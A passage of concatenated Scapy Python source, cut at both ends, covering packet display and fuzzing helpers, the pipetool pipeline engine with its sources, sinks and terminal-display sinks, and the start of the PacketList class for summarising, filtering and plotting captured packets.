print("%-15s%s" % ("", attr)) # Restart for payload if any if is_pkt: obj = cast(Packet, obj) if isinstance(obj.payload, NoPayload): return print("--") ls(obj.payload) except ValueError: print("Not a packet class or name. Type 'ls()' to list packet classes.") # noqa: E501 @conf.commands.register def rfc(cls, ret=False, legend=True): # type: (Type[Packet], bool, bool) -> Optional[str] """ Generate an RFC-like representation of a packet def. :param cls: the Packet class :param ret: return the result instead of printing (def. False) :param legend: show text under the diagram (default True) Ex:: >>> rfc(Ether) """ if not issubclass(cls, Packet): raise TypeError("Packet class expected") cur_len = 0 cur_line = [] lines = [] # Get the size (width) that a field will take # when formatted, from its length in bits clsize = lambda x: 2 * x - 1 # type: Callable[[int], int] ident = 0 # Fields UUID # Generate packet groups def _iterfields() -> Iterator[Tuple[str, int]]: for f in cls.fields_desc: # Fancy field name fname = f.name.upper().replace("_", " ") fsize = int(f.sz * 8) yield fname, fsize # Add padding optionally if isinstance(f, PadField): if isinstance(f._align, tuple): pad = - cur_len % (f._align[0] * 8) else: pad = - cur_len % (f._align * 8) if pad: yield "padding", pad for fname, flen in _iterfields(): cur_len += flen ident += 1 # The field might exceed the current line or # take more than one line. Copy it as required while True: over = max(0, cur_len - 32) # Exceed len1 = clsize(flen - over) # What fits cur_line.append((fname[:len1], len1, ident)) if cur_len >= 32: # Current line is full. start a new line lines.append(cur_line) cur_len = flen = over fname = "" # do not repeat the field cur_line = [] if not over: # there is no data left break else: # End of the field break # Add the last line if un-finished if cur_line: lines.append(cur_line) # Calculate separations between lines seps = [] seps.append("+-" * 32 + "+\n") for i in range(len(lines) - 1): # Start with a full line sep = "+-" * 32 + "+\n" # Get the line above and below the current # separation above, below = lines[i], lines[i + 1] # The last field of above is shared with below if above[-1][2] == below[0][2]: # where the field in "above" starts pos_above = sum(x[1] for x in above[:-1]) + len(above[:-1]) - 1 # where the field in "below" ends pos_below = below[0][1] if pos_above < pos_below: # they are overlapping. # Now crop the space between those pos # and fill it with " " pos_above = pos_above + pos_above % 2 sep = ( sep[:1 + pos_above] + " " * (pos_below - pos_above) + sep[1 + pos_below:] ) # line is complete seps.append(sep) # Graph result = "" # Bytes markers result += " " + (" " * 19).join( str(x) for x in range(4) ) + "\n" # Bits markers result += " " + " ".join( str(x % 10) for x in range(32) ) + "\n" # Add fields and their separations for line, sep in zip(lines, seps): result += sep for elt, flen, _ in line: result += "|" + elt.center(flen, " ") result += "|\n" result += "+-" * (cur_len or 32) + "+\n" # Annotate with the figure name if legend: result += "\n" + ("Fig. " + cls.__name__).center(66, " ") # return if asked for, else print if ret: return result print(result) return None ############# # Fuzzing # ############# _P = TypeVar('_P', bound=Packet) @conf.commands.register def fuzz(p, # type: _P _inplace=0, # type: int ): # type: (...) -> _P """ Transform a layer into a fuzzy layer by replacing some default values by random objects. :param p: the Packet instance to fuzz :return: the fuzzed packet. """ if not _inplace: p = p.copy() q = cast(Packet, p) while not isinstance(q, NoPayload): new_default_fields = {} multiple_type_fields = [] # type: List[str] for f in q.fields_desc: if isinstance(f, PacketListField): for r in getattr(q, f.name): fuzz(r, _inplace=1) elif isinstance(f, MultipleTypeField): # the type of the field will depend on others multiple_type_fields.append(f.name) elif f.default is not None: if not isinstance(f, ConditionalField) or f._evalcond(q): rnd = f.randval() if rnd is not None: new_default_fields[f.name] = rnd # Process packets with MultipleTypeFields if multiple_type_fields: # freeze the other random values new_default_fields = { key: (val._fix() if isinstance(val, VolatileValue) else val) for key, val in new_default_fields.items() } q.default_fields.update(new_default_fields) new_default_fields.clear() # add the random values of the MultipleTypeFields for name in multiple_type_fields: fld = cast(MultipleTypeField, q.get_field(name)) rnd = fld._find_fld_pkt(q).randval() if rnd is not None: new_default_fields[name] = rnd q.default_fields.update(new_default_fields) q = q.payload return p ================================================ FILE: scapy/pipetool.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi import os import queue import subprocess import time from threading import Lock, Thread from scapy.automaton import ( Message, ObjectPipe, select_objects, ) from scapy.consts import WINDOWS from scapy.error import log_runtime, warning from scapy.config import conf from scapy.utils import get_temp_file, do_graph from typing import ( Any, Callable, Dict, Iterable, Optional, Set, Tuple, Union, Type, TypeVar, cast, ) class PipeEngine(ObjectPipe[str]): pipes = {} # type: Dict[str, Type[Pipe]] @classmethod def list_pipes(cls): # type: () -> None for pn, pc in sorted(cls.pipes.items()): doc = pc.__doc__ or "" if doc: doc = doc.splitlines()[0] print("%20s: %s" % (pn, doc)) @classmethod def list_pipes_detailed(cls): # type: () -> None for pn, pc in sorted(cls.pipes.items()): if pc.__doc__: print("###### %s\n %s" % (pn, pc.__doc__)) else: print("###### %s" % pn) def __init__(self, *pipes): # type: (*Pipe) -> None ObjectPipe.__init__(self, "PipeEngine") self.active_pipes = set() # type: Set[Pipe] self.active_sources = set() # type: Set[Union[Source, PipeEngine]] self.active_drains = set() # type: Set[Pipe] self.active_sinks = set() # type: Set[Pipe] self._add_pipes(*pipes) self.thread_lock = Lock() self.command_lock = Lock() self.thread = None # type: Optional[Thread] def __getattr__(self, attr): # type: (str) -> Callable[..., Pipe] if attr.startswith("spawn_"): dname = attr[6:] if dname in self.pipes: def f(*args, **kargs): # type: (*Any, **Any) -> Pipe k = self.pipes[dname] p = k(*args, **kargs) # type: Pipe self.add(p) return p return f raise AttributeError(attr) def _read_cmd(self): # type: () -> str return self.recv() # type: ignore def _write_cmd(self, _cmd): # type: (str) -> None self.send(_cmd) def add_one_pipe(self, pipe): # type: (Pipe) -> None self.active_pipes.add(pipe) if isinstance(pipe, Source): self.active_sources.add(pipe) if isinstance(pipe, Drain): self.active_drains.add(pipe) if isinstance(pipe, Sink): self.active_sinks.add(pipe) def get_pipe_list(self, pipe): # type: (Pipe) -> Set[Any] def flatten(p, # type: Any li, # type: Set[Pipe] ): # type: (...) -> None li.add(p) for q in p.sources | p.sinks | p.high_sources | p.high_sinks: if q not in li: flatten(q, li) pl = set() # type: Set[Pipe] flatten(pipe, pl) return pl def _add_pipes(self, *pipes): # type: (*Pipe) -> Set[Pipe] pl = set() for p in pipes: pl |= self.get_pipe_list(p) pl -= self.active_pipes for q in pl: self.add_one_pipe(q) return pl def run(self): # type: () -> None log_runtime.debug("Pipe engine thread started.") try: for p in self.active_pipes: p.start() sources = self.active_sources sources.add(self) exhausted = set([]) # type: Set[Union[Source, PipeEngine]] RUN = True STOP_IF_EXHAUSTED = False while RUN and (not STOP_IF_EXHAUSTED or len(sources) > 1): fds = select_objects(sources, 0.5) for fd in fds: if fd is self: cmd = self._read_cmd() if cmd == "X": RUN = False break elif cmd == "B": STOP_IF_EXHAUSTED = True elif cmd == "A": sources = self.active_sources - exhausted sources.add(self) else: warning("Unknown internal pipe engine command: %r." " Ignoring.", cmd) elif fd in sources: try: fd.deliver() except Exception as e: log_runtime.exception("piping from %s failed: %s", fd.name, e) else: if fd.exhausted(): exhausted.add(fd) sources.remove(fd) except KeyboardInterrupt: pass finally: try: for p in self.active_pipes: p.stop() finally: self.thread_lock.release() log_runtime.debug("Pipe engine thread stopped.") def start(self): # type: () -> None if self.thread_lock.acquire(False): _t = Thread(target=self.run, name="scapy.pipetool.PipeEngine") _t.daemon = True _t.start() self.thread = _t else: log_runtime.debug("Pipe engine already running") def wait_and_stop(self): # type: () -> None self.stop(_cmd="B") def stop(self, _cmd="X"): # type: (str) -> None try: with self.command_lock: if self.thread is not None: self._write_cmd(_cmd) self.thread.join() try: self.thread_lock.release() except Exception: pass else: log_runtime.debug("Pipe engine thread not running") except KeyboardInterrupt: print("Interrupted by user.") def add(self, *pipes): # type: (*Pipe) -> None _pipes = self._add_pipes(*pipes) with self.command_lock: if self.thread is not None: for p in _pipes: p.start() self._write_cmd("A") def graph(self, **kargs): # type: (Any) -> None g = ['digraph "pipe" {', "\tnode [shape=rectangle];", ] for p in self.active_pipes: g.append('\t"%i" [label="%s"];' % (id(p), p.name)) g.append("") g.append("\tedge [color=blue, arrowhead=vee];") for p in self.active_pipes: for s in p.sinks: g.append('\t"%i" -> "%i";' % (id(p), id(s))) g.append("") g.append("\tedge [color=purple, arrowhead=veevee];") for p in self.active_pipes: for hs in p.high_sinks: g.append('\t"%i" -> "%i";' % (id(p), id(hs))) g.append("") g.append("\tedge [color=red, arrowhead=diamond];") for p in self.active_pipes: for ts in p.trigger_sinks: g.append('\t"%i" -> "%i";' % (id(p), id(ts))) g.append('}') graph = "\n".join(g) do_graph(graph, **kargs) class _PipeMeta(type): def __new__(cls, name, # type: str bases, # type: Tuple[type, ...] dct # type: Dict[str, Any] ): # type: (...) -> Type[Pipe] c = cast('Type[Pipe]', super(_PipeMeta, cls).__new__(cls, name, bases, dct)) PipeEngine.pipes[name] = c return c _S = TypeVar("_S", bound="Sink") _TS = TypeVar("_TS", bound="TriggerSink") class Pipe(metaclass=_PipeMeta): def __init__(self, name=None): # type: (Optional[str]) -> None self.sources = set() # type: Set['Pipe'] self.sinks = set() # type: Set['Sink'] self.high_sources = set() # type: Set['Pipe'] self.high_sinks = set() # type: Set['Sink'] self.trigger_sources = set() # type: Set['Pipe'] self.trigger_sinks = set() # type: Set['TriggerSink'] if name is None: name = "%s" % (self.__class__.__name__) self.name = name def _send(self, msg): # type: (Any) -> None for s in self.sinks: s.push(msg) def _high_send(self, msg): # type: (Any) -> None for s in self.high_sinks: s.high_push(msg) def _trigger(self, msg=None): # type: (Any) -> None for s in self.trigger_sinks: s.on_trigger(msg) def __gt__(self, other): # type: (_S) -> _S self.sinks.add(other) other.sources.add(self) return other def __rshift__(self, other): # type: (_S) -> _S self.high_sinks.add(other) other.high_sources.add(self) return other def __xor__(self, other): # type: (_TS) -> _TS self.trigger_sinks.add(other) other.trigger_sources.add(self) return other def __hash__(self): # type: () -> int return object.__hash__(self) def __eq__(self, other): # type: (Any) -> bool return object.__eq__(self, other) def __repr__(self): # type: () -> str ct = conf.color_theme s = "%s%s" % (ct.punct("<"), ct.layer_name(self.name)) if self.sources or self.sinks: s += " %s" % ct.punct("[") if self.sources: s += "%s%s" % (ct.punct(",").join(ct.field_name(s.name) for s in self.sources), # noqa: E501 ct.field_value(">")) s += ct.layer_name("#") if self.sinks: s += "%s%s" % (ct.field_value(">"), ct.punct(",").join(ct.field_name(s.name) for s in self.sinks)) # noqa: E501 s += ct.punct("]") if self.high_sources or self.high_sinks: s += " %s" % ct.punct("[") if self.high_sources: s += "%s%s" % (ct.punct(",").join(ct.field_name(s.name) for s in self.high_sources), # noqa: E501 ct.field_value(">>")) s += ct.layer_name("#") if self.high_sinks: s += "%s%s" % (ct.field_value(">>"), ct.punct(",").join(ct.field_name(s.name) for s in self.high_sinks)) # noqa: E501 s += ct.punct("]") if self.trigger_sources or self.trigger_sinks: s += " %s" % ct.punct("[") if self.trigger_sources: s += "%s%s" % (ct.punct(",").join(ct.field_name(s.name) for s in self.trigger_sources), # noqa: E501 ct.field_value("^")) s += ct.layer_name("#") if self.trigger_sinks: s += "%s%s" % (ct.field_value("^"), ct.punct(",").join(ct.field_name(s.name) for s in self.trigger_sinks)) # noqa: E501 s += ct.punct("]") s += ct.punct(">") return s def start(self): # type: () -> None pass def stop(self): # type: () -> None pass class Source(Pipe, ObjectPipe[Any]): def __init__(self, name=None): # type: (Optional[str]) -> None ObjectPipe.__init__(self, name) Pipe.__init__(self, name=name) self.is_exhausted = False def _read_message(self): # type: () -> Message return Message() def deliver(self): # type: () -> None msg = self._read_message self._send(msg) def exhausted(self): # type: () -> bool return self.is_exhausted class Drain(Pipe): """Repeat messages from low/high entries to (resp.) low/high exits .. code:: +-------+ >>-|-------|->> | | >-|-------|-> +-------+ """ def push(self, msg): # type: (Any) -> None self._send(msg) def high_push(self, msg): # type: (Any) -> None self._high_send(msg) class Sink(Pipe): """ Does nothing; interface to extend for custom sinks. All sinks have the following constructor parameters: :param name: a human-readable name for the element :type name: str """ def push(self, msg): # type: (Any) -> None """ Called by :py:class:`PipeEngine` when there is a new message for the low entry. :param msg: The message data :returns: None :rtype: None """ pass def high_push(self, msg): # type: (Any) -> None """ Called by :py:class:`PipeEngine` when there is a new message for the high entry. :param msg: The message data :returns: None :rtype: None """ pass def __lt__(self, other): # type: (_S) -> _S other.sinks.add(self) self.sources.add(other) return other def __lshift__(self, other): # type: (_S) -> _S self.high_sources.add(other) other.high_sinks.add(self) return other def __floordiv__(self, other): # type: (_S) -> _S self >> other other >> self return other def __mod__(self, other): # type: (_S) -> _S self > other other > self return other class TriggerSink(Sink): def on_trigger(self, msg): # type: (Any) -> None pass class AutoSource(Source): def __init__(self, name=None): # type: (Optional[str]) -> None Source.__init__(self, name=name) def _gen_data(self, msg): # type: (str) -> None ObjectPipe.send(self, (msg, False, False)) def _gen_high_data(self, msg): # type: (str) -> None ObjectPipe.send(self, (msg, True, False)) def _exhaust(self): # type: () -> None ObjectPipe.send(self, (None, None, True)) def deliver(self): # type: () -> None msg, high, exhaust = self.recv() # type: ignore if exhaust: pass if high: self._high_send(msg) else: self._send(msg) class ThreadGenSource(AutoSource): def __init__(self, name=None): # type: (Optional[str]) -> None AutoSource.__init__(self, name=name) self.RUN = False def generate(self): # type: () -> None pass def start(self): # type: () -> None self.RUN = True Thread(target=self.generate, name="scapy.pipetool.ThreadGenSource").start() def stop(self): # type: () -> None self.RUN = False class ConsoleSink(Sink): """Print messages on low and high entries to ``stdout`` .. code:: +-------+ >>-|--. |->> | print | >-|--' |-> +-------+ """ def push(self, msg): # type: (str) -> None print(">" + repr(msg)) def high_push(self, msg): # type: (str) -> None print(">>" + repr(msg)) class RawConsoleSink(Sink): """Print messages on low and high entries, using os.write .. code:: +-------+ >>-|--. |->> | write | >-|--' |-> +-------+ :param newlines: Include a new-line character after printing each packet. Defaults to True. :type newlines: bool """ def __init__(self, name=None, newlines=True): # type: (Optional[str], bool) -> None Sink.__init__(self, name=name) self.newlines = newlines self._write_pipe = 1 def push(self, msg): # type: (str) -> None if self.newlines: msg += "\n" os.write(self._write_pipe, msg.encode("utf8")) def high_push(self, msg): # type: (str) -> None if self.newlines: msg += "\n" os.write(self._write_pipe, msg.encode("utf8")) class CLIFeeder(AutoSource): """Send messages from python command line: .. code:: +--------+ >>-| |->> | send() | >-| `----|-> +--------+ """ def send(self, msg): # type: (str) -> int self._gen_data(msg) return 1 def close(self): # type: () -> None self.is_exhausted = True class CLIHighFeeder(CLIFeeder): """Send messages from python command line to high output: .. code:: +--------+ >>-| .----|->> | send() | >-| |-> +--------+ """ def send(self, msg): # type: (Any) -> int self._gen_high_data(msg) return 1 class PeriodicSource(ThreadGenSource): """Generate messages periodically on low exit: .. code:: +-------+ >>-| |->> | msg,T | >-| `----|-> +-------+ """ def __init__(self, msg, period, period2=0, name=None): # type: (Union[Iterable[Any], Any], int, int, Optional[str]) -> None ThreadGenSource.__init__(self, name=name) if not isinstance(msg, (list, set, tuple)): self.msg = [msg] # type: Iterable[Any] else: self.msg = msg self.period = period self.period2 = period2 def generate(self): # type: () -> None while self.RUN: empty_gen = True for m in self.msg: empty_gen = False self._gen_data(m) time.sleep(self.period) if empty_gen: self.is_exhausted = True self._exhaust() time.sleep(self.period2) class TermSink(Sink): """ Prints messages on the low and high entries, on a separate terminal (xterm or cmd). .. code:: +-------+ >>-|--. |->> | print | >-|--' |-> +-------+ :param keepterm: Leave the terminal window open after :py:meth:`~Pipe.stop` is called. Defaults to True. :type keepterm: bool :param newlines: Include a new-line character after printing each packet. Defaults to True. :type newlines: bool :param openearly: Automatically starts the terminal when the constructor is called, rather than waiting for :py:meth:`~Pipe.start`. Defaults to True. :type openearly: bool """ def __init__(self, name=None, keepterm=True, newlines=True, openearly=True): # type: (Optional[str], bool, bool, bool) -> None Sink.__init__(self, name=name) self.keepterm = keepterm self.newlines = newlines self.openearly = openearly self.opened = False if self.openearly: self.start() if WINDOWS: def _start_windows(self): # type: () -> None if not self.opened: self.opened = True self.__f = get_temp_file() open(self.__f, "a").close() self.name = "Scapy" if self.name is None else self.name # Start a powershell in a new window and print the PID cmd = "$app = Start-Process PowerShell -ArgumentList '-command &{$host.ui.RawUI.WindowTitle=\\\"%s\\\";Get-Content \\\"%s\\\" -wait}' -passthru; echo $app.Id" % (self.name, self.__f.replace("\\", "\\\\")) # noqa: E501 proc = subprocess.Popen( [ getattr(conf.prog, "powershell"), cmd ], stdout=subprocess.PIPE ) output, _ = proc.communicate() # This is the process PID self.pid = int(output) print("PID: %d" % self.pid) def _stop_windows(self): # type: () -> None if not self.keepterm: self.opened = False # Recipe to kill process with PID # http://code.activestate.com/recipes/347462-terminating-a-subprocess-on-windows/ import ctypes PROCESS_TERMINATE = 1 handle = ctypes.windll.kernel32.OpenProcess(PROCESS_TERMINATE, False, self.pid) # noqa: E501 ctypes.windll.kernel32.TerminateProcess(handle, -1) ctypes.windll.kernel32.CloseHandle(handle) else: def _start_unix(self): # type: () -> None if not self.opened: self.opened = True rdesc, self.wdesc = os.pipe() os.set_inheritable(rdesc, True) cmd = ["xterm"] if self.name is not None: cmd.extend(["-title", self.name]) if self.keepterm: cmd.append("-hold") cmd.extend(["-e", "cat <&%d" % rdesc]) self.proc = subprocess.Popen(cmd, close_fds=False) os.close(rdesc) def _stop_unix(self): # type: () -> None if not self.keepterm: self.opened = False self.proc.kill() self.proc.wait() def start(self): # type: () -> None if WINDOWS: return self._start_windows() else: return self._start_unix() def stop(self): # type: () -> None if WINDOWS: return self._stop_windows() else: return self._stop_unix() def _print(self, s): # type: (str) -> None if self.newlines: s += "\n" if WINDOWS: wdesc = open(self.__f, "a") wdesc.write(s) wdesc.close() else: os.write(self.wdesc, s.encode()) def push(self, msg): # type: (str) -> None self._print(str(msg)) def high_push(self, msg): # type: (str) -> None self._print(str(msg)) class QueueSink(Sink): """ Collects messages on the low and high entries into a :py:class:`Queue`. Messages are dequeued with :py:meth:`recv`. Both high and low entries share the same :py:class:`Queue`. .. code:: +-------+ >>-|--. |->> | queue | >-|--' |-> +-------+ """ def __init__(self, name=None): # type: (Optional[str]) -> None Sink.__init__(self, name=name) self.q: queue.Queue[Any] = queue.Queue() def push(self, msg): # type: (Any) -> None self.q.put(msg) def high_push(self, msg): # type: (Any) -> None self.q.put(msg) def recv(self, block=True, timeout=None): # type: (bool, Optional[int]) -> Optional[Any] """ Reads the next message from the queue. If no message is available in the queue, returns None. :param block: Blocks execution until a packet is available in the queue. Defaults to True. :type block: bool :param timeout: Controls how long to wait if ``block=True``. If None (the default), this method will wait forever. If a non-negative number, this is a number of seconds to wait before giving up (and returning None). :type timeout: None, int or float """ try: return self.q.get(block=block, timeout=timeout) except queue.Empty: return None class TransformDrain(Drain): """Apply a function to messages on low and high entry: .. code:: +-------+ >>-|--[f]--|->> | | >-|--[f]--|-> +-------+ """ def __init__(self, f, name=None): # type: (Callable[[Any], None], Optional[str]) -> None Drain.__init__(self, name=name) self.f = f def push(self, msg): # type: (Any) -> None self._send(self.f(msg)) def high_push(self, msg): # type: (Any) -> None self._high_send(self.f(msg)) class UpDrain(Drain): """Repeat messages from low entry to high exit: .. code:: +-------+ >>-| ,--|->> | / | >-|--' |-> +-------+ """ def push(self, msg): # type: (Any) -> None self._high_send(msg) def high_push(self, msg): # type: (Any) -> None pass class DownDrain(Drain): r"""Repeat messages from high entry to low exit: .. code:: +-------+ >>-|--. |->> | \ | >-| `--|-> +-------+ """ def push(self, msg): # type: (Any) -> None pass def high_push(self, msg): # type: (Any) -> None self._send(msg) ================================================ FILE: scapy/plist.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ PacketList: holds several packets and allows to do operations on them. """ import os from collections import defaultdict from typing import Sequence, NamedTuple from scapy.config import conf from scapy.base_classes import ( BasePacket, BasePacketList, PacketList_metaclass, SetGen, _CanvasDumpExtended, ) from scapy.utils import do_graph, hexdump, make_table, make_lined_table, \ make_tex_table, issubtype from functools import reduce # typings from typing import ( Any, Callable, DefaultDict, Dict, Generic, Iterator, List, Optional, Tuple, Type, TypeVar, Union, TYPE_CHECKING, ) from scapy.packet import Packet try: import pyx except ImportError: pass if TYPE_CHECKING: from scapy.libs.matplot import Line2D ############# # Results # ############# QueryAnswer = NamedTuple( "QueryAnswer", [("query", Packet), ("answer", Packet)] ) _Inner = TypeVar("_Inner", Packet, QueryAnswer) class _PacketList(Generic[_Inner], metaclass=PacketList_metaclass): __slots__ = ["stats", "res", "listname"] def __init__(self, res=None, # type: Optional[Union[_PacketList[_Inner], List[_Inner]]] # noqa: E501 name="PacketList", # type: str stats=None # type: Optional[List[Type[Packet]]] ): # type: (...) -> None """create a packet list from a list of packets res: the list of packets stats: a list of classes that will appear in the stats (defaults to [TCP,UDP,ICMP])""" # noqa: E501 if stats is None: stats = conf.stats_classic_protocols self.stats = stats if res is None: self.res = [] # type: List[_Inner] elif isinstance(res, _PacketList): self.res = res.res else: self.res = res self.listname = name def __len__(self): # type: () -> int return len(self.res) def _elt2pkt(self, elt): # type: (_Inner) -> Packet return elt # type: ignore def _elt2sum(self, elt): # type: (_Inner) -> str return elt.summary() # type: ignore def _elt2show(self, elt): # type: (_Inner) -> str return self._elt2sum(elt) def __repr__(self): # type: () -> str stats = {x: 0 for x in self.stats} other = 0 for r in self.res: f = 0 for p in stats: if self._elt2pkt(r).haslayer(p): stats[p] += 1 f = 1 break if not f: other += 1 s = "" ct = conf.color_theme for p in self.stats: s += " %s%s%s" % (ct.packetlist_proto(p._name), ct.punct(":"), ct.packetlist_value(stats[p])) s += " %s%s%s" % (ct.packetlist_proto("Other"), ct.punct(":"), ct.packetlist_value(other)) return "%s%s%s%s%s" % (ct.punct("<"), ct.packetlist_name(self.listname), ct.punct(":"), s, ct.punct(">")) def __getstate__(self): # type: () -> Dict[str, Any] """ Creates a basic representation of the instance, used in conjunction with __setstate__() e.g. by pickle :returns: dict representing this instance """ state = { 'res': self.res, 'stats': self.stats, 'listname': self.listname } return state def __setstate__(self, state): # type: (Dict[str, Any]) -> None """ Sets instance attributes to values given by state, used in conjunction with __getstate__() e.g. by pickle :param state: dict representing this instance """ self.res = state['res'] self.stats = state['stats'] self.listname = state['listname'] def __iter__(self): # type: () -> Iterator[_Inner] return self.res.__iter__() def __getattr__(self, attr): # type: (str) -> Any return getattr(self.res, attr) def __getitem__(self, item): # type: (Any) -> Any if issubtype(item, BasePacket): return self.__class__([x for x in self.res if item in self._elt2pkt(x)], # noqa: E501 name="%s from %s" % (item.__name__, self.listname)) # noqa: E501 if isinstance(item, slice): return self.__class__(self.res.__getitem__(item), name="mod %s" % self.listname) return self.res.__getitem__(item) _T = TypeVar('_T', 'SndRcvList', 'PacketList') # Hinting hack: type self def __add__(self, # type: _PacketList._T # type: ignore other # type: _PacketList._T ): # type: (...) -> _PacketList._T return self.__class__( self.res + other.res, name="%s+%s" % ( self.listname, other.listname ) ) def summary(self, prn=None, # type: Optional[Callable[..., Any]] lfilter=None # type: Optional[Callable[..., bool]] ): # type: (...) -> None """prints a summary of each packet :param prn: function to apply to each packet instead of lambda x:x.summary() :param lfilter: truth function to apply to each packet to decide whether it will be displayed """ for r in self.res: if lfilter is not None: if not lfilter(*r): continue if prn is None: print(self._elt2sum(r)) else: print(prn(*r)) def nsummary(self, prn=None, # type: Optional[Callable[..., Any]] lfilter=None # type: Optional[Callable[..., bool]] ): # type: (...) -> None """prints a summary of each packet with the packet's number :param prn: function to apply to each packet instead of lambda x:x.summary() :param lfilter: truth function to apply to each packet to decide whether it will be displayed """ for i, res in enumerate(self.res): if lfilter is not None: if not lfilter(*res): continue print(conf.color_theme.id(i, fmt="%04i"), end=' ') if prn is None: print(self._elt2sum(res)) else: print(prn(*res)) def show(self, *args, **kargs): # type: (*Any, **Any) -> None """Best way to display the packet list. Defaults to nsummary() method""" # noqa: E501 return self.nsummary(*args, **kargs) def filter(self, func): # type: (Callable[..., bool]) -> _PacketList[_Inner] """Returns a packet list filtered by a truth function. This truth function has to take a packet as the only argument and return a boolean value. """ return self.__class__([x for x in self.res if func(*x)], name="filtered %s" % self.listname) def make_table(self, *args, **kargs): # type: (Any, Any) -> Optional[str] """Prints a table using a function that returns for each packet its head column value, head row value and displayed value # noqa: E501 ex: p.make_table(lambda x:(x[IP].dst, x[TCP].dport, x[TCP].sprintf("%flags%")) """ # noqa: E501 return make_table(self.res, *args, **kargs) def make_lined_table(self, *args, **kargs): # type: (Any, Any) -> Optional[str] """Same as make_table, but print a table with lines""" return make_lined_table(self.res, *args, **kargs) def make_tex_table(self, *args, **kargs): # type: (Any, Any) -> Optional[str] """Same as make_table, but print a table with LaTeX syntax""" return make_tex_table(self.res, *args, **kargs) def plot(self, f, # type: Callable[..., Any] lfilter=None, # type: Optional[Callable[..., bool]] plot_xy=False, # type: bool **kargs # type: Any ): # type: (...) -> Line2D """Applies a function to each packet to get a value that will be plotted with matplotlib. A list of matplotlib.lines.Line2D is returned. lfilter: a truth function that decides whether a packet must be plotted """ # Defer imports of matplotlib until its needed # because it has a heavy dep chain from scapy.libs.matplot import ( plt, MATPLOTLIB_INLINED, MATPLOTLIB_DEFAULT_PLOT_KARGS ) # Get the list of packets if lfilter is None: lst_pkts = [f(*e) for e in self.res] else: lst_pkts = [f(*e) for e in self.res if lfilter(*e)] # Mimic the default gnuplot output if kargs == {}: kargs = MATPLOTLIB_DEFAULT_PLOT_KARGS if plot_xy: lines = plt.plot(*zip(*lst_pkts), **kargs) else: lines = plt.plot(lst_pkts, **kargs) # Call show() if matplotlib is not inlined if not MATPLOTLIB_INLINED: plt.show() return lines def diffplot(self, f, # type: Callable[..., Any] delay=1, # type: int lfilter=None, # type: Optional[Callable[..., bool]] **kargs # type: Any ): # type: (...) -> Line2D """diffplot(f, delay=1, lfilter=None) Applies a function to couples (l[i],l[i+delay]) A list of matplotlib.lines.Line2D is returned. """ # Defer imports of matplotlib until its needed # because it has a heavy dep chain from scapy.libs.matplot import ( plt, MATPLOTLIB_INLINED, MATPLOTLIB_DEFAULT_PLOT_KARGS ) # Get the list of packets if lfilter is None: lst_pkts = [f(self.res[i], self.res[i + 1]) for i in range(len(self.res) - delay)] else: lst_pkts = [f(self.res[i], self.res[i + 1]) for i in range(len(self.res) - delay) if lfilter(self.res[i])] # Mimic the default gnuplot output if kargs == {}: kargs = MATPLOTLIB_DEFAULT_PLOT_KARGS lines = plt.plot(lst_pkts, **kargs) # Call show() if matplotlib is not inlined if not MATPLOTLIB_INLINED: plt.show() return lines def multiplot(self, f, # type: Callable[..., Any] lfilter=None, # type: Optional[Callable[..., Any]] plot_xy=False, # type: bool **kargs # type: Any ): # type: (...) -> Line2D """Uses a function that returns a label and a value for this label, then plots all the values label by label. A list of matplotlib.lines.Line2D is returned. """ # Defer imports of matplotlib until its needed # because it has a heavy dep chain from scapy.libs.matplot import ( plt, MATPLOTLIB_INLINED, MATPLOTLIB_DEFAULT_PLOT_KARGS ) # Get the list of packets if lfilter is None: lst_pkts = (f(*e) for e in self.res) else: lst_pkts = (f(*e) for e in self.res if lfilter(*e)) # Apply the function f to the packets d = {} # type: Dict[str, List[float]] for k, v in lst_pkts: d.setdefault(k, []).append(v) # Mimic the default gnuplot output if not kargs: kargs = MATPLOTLIB_DEFAULT_PLOT_KARGS if plot_xy: lines = [plt.plot(*list(zip(*pl)), **dict(kargs, label=k)) for k, pl in d.items()] else: lines = [plt.plot(pl, **dict(kargs, label=k)) for k, pl in d.items()] plt.legend(loc="center right", bbox_to_anchor=(1.5, 0.5)) # Call show() if matplotlib is not inlined if not MATPLOTLIB_INLINED: plt.show() return lines def rawhexdump(self): # type: () -> None """Prints an hexadecimal dump of each packet in the list""" for p in self: hexdump(self._elt2pkt(p)) def hexraw(self, lfilter=None): # type: (Optional[Callable[..., bool]]) -> None """Same as nsummary(), except that if a packet has a Raw layer, it will be hexdumped # noqa: E501 lfilter: a truth function that decides whether a packet must be displayed""" # noqa: E501 for i, res in enumerate(self.res): p = self._elt2pkt(res) if lfilter is not None and not lfilter(p): continue print("%s %s %s" % (conf.color_theme.id(i, fmt="%04i"), p.sprintf("%.time%"), self._elt2sum(res))) if p.haslayer(conf.raw_layer): hexdump(p.getlayer(conf.raw_layer).load) # type: ignore def hexdump(self, lfilter=None): # type: (Optional[Callable[..., bool]]) -> None """Same as nsummary(), except that packets are also hexdumped lfilter: a truth function that decides whether a packet must be displayed""" # noqa: E501 for i, res in enumerate(self.res): p = self._elt2pkt(res) if lfilter is not None and not lfilter(p): continue print("%s %s %s" % (conf.color_theme.id(i, fmt="%04i"), p.sprintf("%.time%"), self._elt2sum(res))) hexdump(p) def padding(self, lfilter=None): # type: (Optional[Callable[..., bool]]) -> None """Same as hexraw(), for Padding layer""" for i, res in enumerate(self.res): p = self._elt2pkt(res) if p.haslayer(conf.padding_layer): if lfilter is None or lfilter(p): print("%s %s %s" % (conf.color_theme.id(i, fmt="%04i"), p.sprintf("%.time%"), self._elt2sum(res))) hexdump( p.getlayer(conf.padding_layer).load # type: ignore ) def nzpadding(self, lfilter=None): # type: (Optional[Callable[..., bool]]) -> None """Same as padding() but only non null padding""" for i, res in enumerate(self.res): p = self._elt2pkt(res) if p.haslayer(conf.padding_layer): pad = p.getlayer(conf.padding_layer).load # type: ignore if pad == pad[:1] * len(pad): continue if lfilter is None or lfilter(p): print("%s %s %s" % (conf.color_theme.id(i, fmt="%04i"), p.sprintf("%.time%"), self._elt2sum(res))) hexdump( p.getlayer(conf.padding_layer).load # type: ignore ) def conversations(self, getsrcdst=None, # type: Optional[Callable[[Packet], Tuple[Any, ...]]] # noqa: E501 **kargs # type: Any ): # type: (...) -> Any """Graphes a conversations between sources and destinations and display it (using graphviz and imagemagick) :param getsrcdst: a function that takes an element of the list and returns the source, the destination and optionally a label. By default, returns the IP source 